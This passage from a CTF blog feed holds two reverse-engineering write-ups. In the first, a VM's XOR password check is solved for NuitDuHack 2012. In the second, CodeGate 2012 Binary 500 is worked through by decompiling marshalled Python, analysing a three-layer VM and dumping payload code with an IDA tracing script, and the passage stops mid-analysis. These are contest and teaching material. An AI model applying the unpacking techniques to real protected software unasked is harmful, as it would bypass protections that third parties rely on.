<span style="color: #000000;">6</span> : 02 07 <span style="color: #000000;">78</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">78</span>
<span style="color: #000000;">9</span> : 07 00 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> == <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">12</span> : 09 02 02:	jne  <span style="color: #000000;">2</span>
<span style="color: #000000;">14</span> : 02 07 <span style="color: #000000;">61</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">61</span>
<span style="color: #000000;">17</span> : 06 01 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> ^ <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">20</span> : 02 07 02:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> =  <span style="color: #000000;">2</span>
<span style="color: #000000;">23</span> : 07 01 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> == <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">26</span> : 09 02 02:	jne  <span style="color: #000000;">2</span>
<span style="color: #000000;">28</span> : 02 07 <span style="color: #000000;">72</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">72</span>
<span style="color: #000000;">31</span> : 06 02 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> ^ <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">34</span> : 02 07 <span style="color: #000000;">43</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">43</span>
<span style="color: #000000;">37</span> : 07 02 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> == <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">40</span> : 09 02 02:	jne  <span style="color: #000000;">2</span>
<span style="color: #000000;">42</span> : 02 07 <span style="color: #000000;">31</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">31</span>
<span style="color: #000000;">45</span> : 06 03 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> ^ <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">48</span> : 02 07 <span style="color: #000000;">45</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">45</span>
<span style="color: #000000;">51</span> : 07 03 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> == <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">54</span> : 09 02 02:	jne  <span style="color: #000000;">2</span>
<span style="color: #000000;">56</span> : 02 07 <span style="color: #000000;">30</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">30</span>
<span style="color: #000000;">59</span> : 06 04 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> ^ <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">62</span> : 02 07 03:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> =  <span style="color: #000000;">3</span>
<span style="color: #000000;">65</span> : 07 04 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> == <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">68</span> : 09 02 02:	jne  <span style="color: #000000;">2</span>
<span style="color: #000000;">70</span> : 02 07 4c:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = 4c
<span style="color: #000000;">73</span> : 06 05 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">5</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">5</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> ^ <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">76</span> : 02 07 7f:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = 7f
<span style="color: #000000;">79</span> : 07 05 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">5</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> == <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">82</span> : 09 02 02:	jne  <span style="color: #000000;">2</span>
<span style="color: #000000;">84</span> : 02 07 <span style="color: #000000;">64</span>:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #000000;">64</span>
<span style="color: #000000;">87</span> : 06 06 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">6</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> = <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">6</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> ^ <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>
<span style="color: #000000;">90</span> : 02 07 0f:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> =  f
<span style="color: #000000;">93</span> : 07 06 07:	<span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">6</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> == <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000;">7</span><span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></div></div>

<p>Hmm it's again just a xor check! Do all ctf-vm creators know only xor? ;)</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ xor <span style="color: #660033;">-h</span> 4d617231304c64 <span style="color: #660033;">-h</span> 78024345037f0f
5c1t33k
$ nc sci.nuitduhack.com <span style="color: #000000;">4002</span>
Please enter Sciteek admin password: 5c1t33k
...
<span style="color: #000000; font-weight: bold;">&lt;&lt;&lt;</span> a <span style="color: #7a0874; font-weight: bold;">source</span> <span style="color: #000000; font-weight: bold;">for</span> <span style="color: #000000;">4004</span> here <span style="color: #000000; font-weight: bold;">&gt;&gt;&gt;</span>
...</pre></div></div>

<p>Challenge solved!</p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable2-ndh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals – Binary 500</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-500/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-binary-500/#comments</comments>
		<pubDate>Wed, 29 Feb 2012 15:21:50 +0000</pubDate>
		<dc:creator>zyx2145</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[vm]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2412</guid>
		<description><![CDATA[Seeing that it is not all. Down Summary: VM analysis, python decompiling First of all thanks to snk for help in preparing this writeup. Also, thanks to snk, blackzert, pzbitskiy and everybody who helped to solve this task! There are two files. First file is vm2x.exe which is PE x86. Second file is vm2x.dat which is&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-binary-500/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Seeing that it is not all.</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/bin500/15EE231AC9BC9598E5881236E30F1EEA.zip">Down</a></p></blockquote>
<p><strong>Summary: VM analysis, python decompiling</strong></p>
<p><span id="more-2412"></span></p>
<p>First of all thanks to <strong>snk</strong> for help in preparing this writeup.</p>
<p>Also, thanks to <strong>snk</strong>, <strong>blackzert</strong>, <strong>pzbitskiy</strong> and everybody who helped to solve this task!</p>
<p>There are two files. First file is vm2x.exe which is PE x86. Second file is vm2x.dat which is script for immunity debugger. At first glimpse, vm2x.exe looks like a normal VC executable file with library function and so on. But after more scrupulous analysis it becomes obvious that all functional is hided in VM. So, it seems to be easy firstly analyze python script for immunity debugger. Let’s look inside the file:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">marshal</span>, <span style="color: #dc143c;">imp</span>
<span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">imp</span>.<span style="color: black;">get_magic</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> <span style="color: #66cc66;">!</span>= <span style="color: #483d8b;">'<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>f3<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>'</span>:
    <span style="color: #ff7700;font-weight:bold;">raise</span> <span style="color: #008000;">ImportError</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Wrong!!'</span><span style="color: black;">&#41;</span>
__code = <span style="color: #dc143c;">marshal</span>.<span style="color: black;">loads</span><span style="color: black;">&#40;</span>“...”<span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">del</span> <span style="color: #dc143c;">marshal</span>, <span style="color: #dc143c;">imp</span>
<span style="color: #ff7700;font-weight:bold;">exec</span> __code
<span style="color: #ff7700;font-weight:bold;">del</span> __code</pre></div></div>

<p>Okey, script required Python2.7. It deserializes and executes python object. Try to disasm __code</p>
<pre>$python2.7
&gt;&gt;&gt; import marshal,dis
&gt;&gt;&gt; __code = marshal.loads(“...”)
&gt;&gt;&gt; __code.co_consts
(-1, None, code, code)
&gt;&gt;&gt; __code.co_names ('immlib', 'toString', 'main')
&gt;&gt;&gt; dis.dis(__code)
1 0 LOAD_CONST 0 (-1)
3 LOAD_CONST 1 (None)
6 IMPORT_FROM 0 (immlib)
9 STORE_NAME 0 (immlib)
3 12 LOAD_CONST 2 (code)
15 MAKE_FUNCTION 0
18 STORE_NAME 1 (toString)
12 21 LOAD_CONST 3 (code)
24 MAKE_FUNCTION 0
27 STORE_NAME 2 (main)
30 LOAD_CONST 1 (None)
33 RETURN_VALUE</pre>
<p>It imports immlib and defines two function’s “toString” and “main”. Let’s analyze the main function deeper:</p>
<pre>&gt;&gt;&gt; main = __code.co_consts[3]
&gt;&gt;&gt; main.co_names
('immlib', 'Debugger', 'readMemory', 'toString', 'getRegs', 'log')
&gt;&gt;&gt; main.co_consts
(None, 4237456, 80, 'EIP', 4273157, 29, 52, 69, 65, 46, 68, 63,
'Nice work, Key1 : "', '"', 'But, Find Next Key!', 4278021, 2, 0, 61,
'Nice work, Key2 : "', 'Input Key : Key1 + Key2', 'Nothing found ..')</pre>
<p>It executes function readMemory from 0x40a890 to variable b. which constructs two strings from b like this:</p>
<pre> 20          70 LOAD_FAST                3 (b)
             73 LOAD_CONST               5 (29)
             76 BINARY_SUBSCR
             77 LOAD_FAST                3 (b)
             80 LOAD_CONST               6 (52)
             83 BINARY_SUBSCR
             84 BINARY_ADD
             85 LOAD_FAST                3 (b)
             88 LOAD_CONST               7 (69)
             91 BINARY_SUBSCR
             92 BINARY_ADD
             93 LOAD_FAST                3 (b)
             96 LOAD_CONST               6 (52)
             99 BINARY_SUBSCR
            100 BINARY_ADD
            101 LOAD_FAST                3 (b)
            104 LOAD_CONST               8 (65)
            107 BINARY_SUBSCR
            108 BINARY_ADD
            109 LOAD_FAST                3 (b)
            112 LOAD_CONST               9 (46)
            115 BINARY_SUBSCR
            116 BINARY_ADD
            117 LOAD_FAST                3 (b)
            120 LOAD_CONST              10 (68)
            123 BINARY_SUBSCR
            124 BINARY_ADD
            125 LOAD_FAST                3 (b)
            128 LOAD_CONST              11 (63)
            131 BINARY_SUBSCR
            132 BINARY_ADD
            133 STORE_FAST               5 (str1)</pre>
<p>After decompiling we had:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> immlib
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> toString<span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>:
 t = <span style="color: #483d8b;">''</span>
 <span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #008000;">len</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
   <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span>==<span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>:
     <span style="color: #ff7700;font-weight:bold;">break</span>
   t += s<span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span>
 <span style="color: #ff7700;font-weight:bold;">return</span> t
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span>args<span style="color: black;">&#41;</span>:
 imm = immlib.<span style="color: black;">Debugger</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
 a = imm.<span style="color: black;">readMemory</span><span style="color: black;">&#40;</span>0x40a890,<span style="color: #ff4500;">80</span><span style="color: black;">&#41;</span>
 b = toString<span style="color: black;">&#40;</span>a<span style="color: black;">&#41;</span>
&nbsp;
 regs = imm.<span style="color: black;">getRegs</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
 <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: black;">&#40;</span>regs<span style="color: black;">&#91;</span><span style="color: #483d8b;">'EIP'</span><span style="color: black;">&#93;</span> == 0x413405<span style="color: black;">&#41;</span>:
    str1 = <span style="color: #483d8b;">'b[29]+b[52]+b[69]+b[52]+b[65]+b[46]+b[68]+b[63]'</span>
    imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Nice work, Key1 : &quot;'</span> + str1 + <span style="color: #483d8b;">'&quot;'</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">'But, Find Next Key!'</span>
 <span style="color: #ff7700;font-weight:bold;">elif</span><span style="color: black;">&#40;</span> regs<span style="color: black;">&#91;</span><span style="color: #483d8b;">'EIP'</span><span style="color: black;">&#93;</span> == 0x414705 <span style="color: black;">&#41;</span>:
    str2 = b<span style="color: black;">&#91;</span><span style="color: #ff4500;">46</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">29</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">69</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">65</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">46</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">61</span><span style="color: black;">&#93;</span>
    imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Nice work, Key2 : &quot;'</span> + str2 + <span style="color: #483d8b;">'&quot;'</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">'Input Key : Key1 + Key2'</span>
&nbsp;
 <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">'Nothing found ..'</span></pre></div></div>

<p>Data located at 0x40a890:</p>
<pre>.rdata:0040A890 a123456789?@abc db '123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopq'
.rdata:0040A890                 db 'rstuvwxyz{|}~'</pre>
<p>And finished script for getting answere:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">b = <span style="color: #483d8b;">&quot;123456789:;?@ABCDEFGHIJKLMNOPQ
                        RSTUVWXYZ[<span style="color: #000099; font-weight: bold;">\]</span>^_`abcdefghijklmnopqrstuvwxyz{|}~&quot;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> b<span style="color: black;">&#91;</span><span style="color: #ff4500;">29</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">52</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">69</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">52</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">65</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">46</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">68</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">63</span><span style="color: black;">&#93;</span> +
      b<span style="color: black;">&#91;</span><span style="color: #ff4500;">46</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">29</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">69</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">65</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">46</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>+b<span style="color: black;">&#91;</span><span style="color: #ff4500;">61</span><span style="color: black;">&#93;</span></pre></div></div>

<p>So, we tried an answer <strong>“Never_up_N3vr_1n”</strong>, but it didn’t work!</p>
<p>So, we thought it is totally ok because bin500 couldn’t be so easy, and start to analyze vm2x.exe.</p>
<p>After careful analysis we completely understood VM structure. It is a three layers virtual machine.</p>
<p><strong>VM layer 1 -&gt; VM layer 2 -&gt; Payload code</strong></p>
<p>The first layer of Virtual machine is described on scheme. <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/bin500/9.png"><img class="alignnone size-full wp-image-2415" title="9" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/94.png" alt="" width="482" height="377" /></a></p>
<p>When program starts it allocates memory blocks for each VM, which contain execute buffer, VM stack, and saved native registers. And start execute VM1. Format for VM instruction the following: First byte xor’ed with second byte and interpreted as length. After ‘len’ byte is decrypted on function 0x0041338B, prototype for it:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">void</span> __stdcall decode_buffer<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>buf<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> size<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> key<span style="color: #009900;">&#41;</span></pre></div></div>

<p>After decryption, check first two byte, if this is 0xFFFF, then it VM instruction, otherwise it native code. We write IDA script for decode VM, if you interested look it <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/bin500/b500dis.py">there</a>. The logic of the VM to generate executable code in a special buffer and execute one instruction per round. The first layer generate code for second layer, and the second layer generates third code layer which is payload. The generated code looks like: <a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/33.png"><img class="alignnone size-full wp-image-2382" title="3" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/33.png" alt="" width="447" height="576" /></a></p>
<p>And the same third layer code executes by one instruction per iteration. For transitions between layers two gateway are used (at 0x04135f8 and 0x04113a7). They look like</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/14.png"><img class="alignnone size-full wp-image-2383" title="1" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/14.png" alt="" width="304" height="33" /></a></p>
<p>and</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/24.png"><img class="alignnone size-full wp-image-2384" title="2" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/24.png" alt="" width="307" height="32" /></a></p>
<p>So general working scheme looks like</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/71.png"><img class="alignnone size-full wp-image-2390" title="7" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/71.png" alt="" width="468" height="279" /></a></p>
<p>In this way, if we want to get payload code we need to trace code from layer 3 when program is executing. For this reason we wrote an IDA script:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> idaapi
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">binascii</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> Xglob:
  <span style="color: #ff7700;font-weight:bold;">def</span> <span style="color: #0000cd;">__init__</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
    <span style="color: #008000;">self</span>.<span style="color: black;">i</span> = <span style="color: #ff4500;">0</span>
    <span style="color: #008000;">self</span>.<span style="color: black;">dmp</span> = <span style="color: #008000;">None</span>
<span style="color: #dc143c;">glob</span> = Xglob<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> ida_SDbg<span style="color: black;">&#40;</span>idaapi.<span style="color: black;">DBG_Hooks</span><span style="color: black;">&#41;</span>:
   <span style="color: #ff7700;font-weight:bold;">def</span> dbg_bpt<span style="color: black;">&#40;</span><span style="color: #008000;">self</span>, tid, ea<span style="color: black;">&#41;</span>:
     <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span> dbg_commands.<span style="color: black;">has_key</span><span style="color: black;">&#40;</span>ea<span style="color: black;">&#41;</span> <span style="color: black;">&#41;</span>:
       callback = dbg_commands<span style="color: black;">&#91;</span>ea<span style="color: black;">&#93;</span>
       <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span> callback<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> == <span style="color: #ff4500;">0</span> <span style="color: black;">&#41;</span>: idaapi.<span style="color: black;">continue_process</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
     <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">0</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> GetMem<span style="color: black;">&#40;</span>ea,size<span style="color: black;">&#41;</span>:
  r = <span style="color: #483d8b;">''</span>
  <span style="color: #ff7700;font-weight:bold;">for</span> ea <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span>ea,ea+size<span style="color: black;">&#41;</span>:
    r += <span style="color: #008000;">chr</span><span style="color: black;">&#40;</span>Byte<span style="color: black;">&#40;</span>ea<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
  <span style="color: #ff7700;font-weight:bold;">return</span> r
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> DumpInit<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
  <span style="color: #dc143c;">glob</span>.<span style="color: black;">dmp</span> = <span style="color: #008000;">file</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'bin500_1.dmp'</span>,<span style="color: #483d8b;">'wb'</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">def</span> Dump<span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>:
  <span style="color: #ff7700;font-weight:bold;">if</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">glob</span>.<span style="color: black;">dmp</span><span style="color: #66cc66;">!</span>=<span style="color: #008000;">None</span><span style="color: black;">&#41;</span>: <span style="color: #dc143c;">glob</span>.<span style="color: black;">dmp</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> OnVM2<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
   idaapi.<span style="color: black;">refresh_debugger_memory</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
   ret = Dword<span style="color: black;">&#40;</span>GetRegValue<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;ESP&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
   l = idaapi.<span style="color: black;">decode_insn</span><span style="color: black;">&#40;</span>ret<span style="color: black;">&#41;</span>
   Dump<span style="color: black;">&#40;</span>GetMem<span style="color: black;">&#40;</span>ret,l<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
   <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #ff4500;">0</span><span style="color: #66cc66;">;</span>
&nbsp;
dbg_commands = <span style="color: black;">&#123;</span><span style="color: black;">&#125;</span>
script_dbg = ida_SDbg<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
script_dbg.<span style="color: black;">hook</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
dbg_commands<span style="color: black;">&#91;</span>0x004113AC<span style="color: black;">&#93;</span> = OnVM2
DumpInit<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>So, after execution we had all executed code as a binary file. This file we can load to IDA as an additional binary file and create a new segment. After these manipulations we can easily analyze payload code. For example, code which create window looks like:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/4.png"><img class="alignnone size-full wp-image-2386" title="4" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/4.png" alt="" width="382" height="145" /></a></p>
<p>If we push the “MD5” button the code will look like:</p>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/5.png"><img class="alignnone size-full wp-image-2387" title="5" src="http://leetmore.ctf.su/wp-content/uploads/2012/02/5.png" alt="" width="368" height="432" /></a></p>
<p>From this code we find out that MD5 is calculated by 9000h bytes from beginning of first section (0&#215;401000). There is a part of md5 calculation code:</p>
